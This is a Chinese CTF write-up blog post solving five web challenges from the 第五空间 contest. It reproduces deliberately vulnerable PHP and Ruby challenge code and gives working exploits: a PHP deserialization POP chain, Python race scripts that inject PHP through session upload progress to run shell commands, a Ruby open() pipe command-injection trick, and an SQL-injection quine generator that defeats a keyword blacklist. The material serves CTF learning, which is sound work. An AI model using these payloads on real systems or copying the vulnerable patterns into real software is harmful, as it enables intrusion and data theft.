第五空间web复现

pklovecloud

代码显示

 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

一看就是反序列化,我们看到__construct()和 __toString()两个魔法函数,其中我们需要利用到ace类中的file_get_contents()函数,显示出我们的flag.php的内容。

所以我们构造pop链

<?php
class acp 
{   
    protected $cinder;  

    function __construct() 
    {      
        $this->cinder = new ace();//将new pkshow(),改为new ace()
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
} 
class ace
{    
    public $filename='flag.php';  //给filename赋值flag.php   
    public $openstack;
    public $docker; 
    /*function __constuct(){
        $this->docker=unserialize($docker);
    }*/
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        //为了绕过后面的判断,我们将两个指针指向同一个变量,这样就可以达到相同。
        $this->openstack->neutron = $heat;
        $this->openstack->nova=$heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    } 
}
$a=new acp();
echo urlencode(serialize($a))

?>

南方师傅的wp,他这个有点复杂,但是可以学一下思想

<?php
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct($cinder)
    {
        $this -> cinder = $cinder;
        $this -> neutron = &$this -> nova;
    }
}

class ace
{
    public $filename = "flag.php";
    public $openstack;
    public $docker;
    function __construct($docker)
    {
        $this -> docker = $docker;
    }
}

echo urlencode(serialize(new acp(new ace(serialize(new acp(""))))));

Easycleanup

 <?php

if(!isset($_GET['mode'])){
    highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
    eval($shell);
}


if(isset($_GET['file'])){
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
    include $_GET['file'];
}


function filter($var): bool{
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

    foreach($banned as $ban){
        if(strstr($var, $ban)) return True;
    }

    return False;
}

function checkNums($var): bool{
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $cnt = 0;
    for($i = 0; $i < strlen($alphanum); $i++){
        for($j = 0; $j < strlen($var); $j++){
            if($var[$j] == $alphanum[$i]){
                $cnt += 1;
                if($cnt > 8) return True;
            }
        }
    }
    return False;
}
?> 
   

首先我们发现既可以用eval命令执行,也可以用include文件包含。

但是eval过滤得太多,我们看到include要稍微简单点

filter函数把很多都过滤了

我们尝试使用phpsession文件包含。

师傅们的脚本

import io
import requests
import threading
url = 'http://challenge-cfd946d2e06b103c.sandbox.ctfhub.com:10800'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag_is_here_not_are_but_you_find");?>dotasts'
    }
    while True:
        f = io.BytesIO(b'a' * 1024 * 10)
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
    while True:
        response = session.get(url+'?file=/tmp/sess_flag')
        if 'dotasts' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    write = threading.Thread(target=write, args=(session,))
    write.daemon = True
    write.start()
    read(session)

羽师傅的脚本

import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://challenge-13a76fa553bf63aa.sandbox.ctfhub.com:10800"
url2='http://challenge-13a76fa553bf63aa.sandbox.ctfhub.com:10800?file=/tmp/sess_'+sess
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php echo `cat /f*`;?>'
}
data2={
	'1':'system("cat f*");'
}
file={
	'file':'abc'
}
cookies={
	'PHPSESSID': sess
}
def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.post(url2,data=data2)
		if 'ctfhub' in r.text:
			print(r.text)
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

PNG图片转换器

这个题对于现在的我确实不太会做,只有自己看wp

现在fuzz一波,结果发现什么图片马都不得行。

考点是:Ruby open rce

参考文献

https://ruby-doc.org/docs/ruby-doc-bundle/Manual/man-1.4/function.html#open

https://blog.heroku.com/identifying-ruby-ftp-cve

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

就是如果传递给open函数的文件名参数是以“|”开头,Ruby会打开一个管道句柄并执行后面的命令
open("|命令部分")
执行ls /
请添加图片描述
读取flag.png
请添加图片描述
base64解码后得到文件名flag_31391,读取这个文件
请添加图片描述
再次访问flag.png
请添加图片描述
解码base64得到flag
请添加图片描述

WebFTP

扫描发现git泄露

然后githack下载不下来

浏览githack⽂件可以看到 https://github.com/wifeat/WebFTP

/Readme/mytz.php中可以执行phpinfo函数

if (isset($_GET['act']) && $_GET['act'] == 'phpinfo'){ 
    phpinfo(); 
    exit();
}

flag就在phpinfo里面。

yet_another_mysql_injection

代码

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>

首先审计代码,我们需要username=admin,password=数据库中的password相同

quine可以返回一个自身的sql查询。

参考链接:https://www.shysecurity.com/post/20140705-SQLi-Quine

脚本

def quine(data, debug=True):
    if debug: print(data)
    data = data.replace('@@',"REPLACE(REPLACE(@@,CHAR(34),CHAR(39)),CHAR(64),@@)")
    blob = data.replace('@@','"@"').replace("'",'"')
    data = data.replace('@@',"'"+blob+"'")
    if debug: print(data)
    return data

result = quine("'UNION/**/SELECT/**/@@/**/AS/**/atao#")

运行一下,POST传参就可以得到flag。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值